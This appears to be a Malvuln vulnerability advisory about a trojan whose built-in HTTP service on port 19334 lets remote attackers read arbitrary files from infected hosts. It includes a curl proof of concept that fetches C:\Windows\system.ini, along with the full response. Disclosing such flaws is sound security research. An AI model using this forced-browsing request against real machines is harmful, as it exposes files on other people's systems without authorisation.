HEUR:Trojan.MSIL.Agent.gen / Information Disclosure

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/bc2ccf92bea475f828dcdcb1c8f6cc92.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: HEUR:Trojan.MSIL.Agent.gen Vulnerability: Information Disclosure Description: the malware runs an HTTP service on port 19334. Attackers who can reach an infected host can make HTTP GET requests to download and or stat arbitrary files using forced browsing. Family: Agent Type: PE64 MD5: bc2ccf92bea475f828dcdcb1c8f6cc92 Vuln ID: MVID-2022-0654 Disclosure: 11/09/2022 Exploit/PoC: C:\>curl "" -v Trying Connected to ( port 19334 (#0) GET /c:/Windows/system.ini HTTP/1.1 Host: User-Agent: curl/7.83.1 Accept: */* * Mark bundle as not supporting multiuse * HTTP 1.0, assume close after body HTTP/1.0 200 OK content-encoding: utf8 content-type: application/octet-stream date: Tue, 08 Nov 2022 23:11:55 GMT last-modified: Sat, 16 Jul 2016 07:45:35 GMT content-disposition: attachment; filename*=UTF-8''system.ini; filename="system.ini" ; for 16-bit app support [386Enh] woafont=dosapp.fon EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON [drivers] wave=mmdrv.dll timer=timer.drv [mci] * Closing connection 0 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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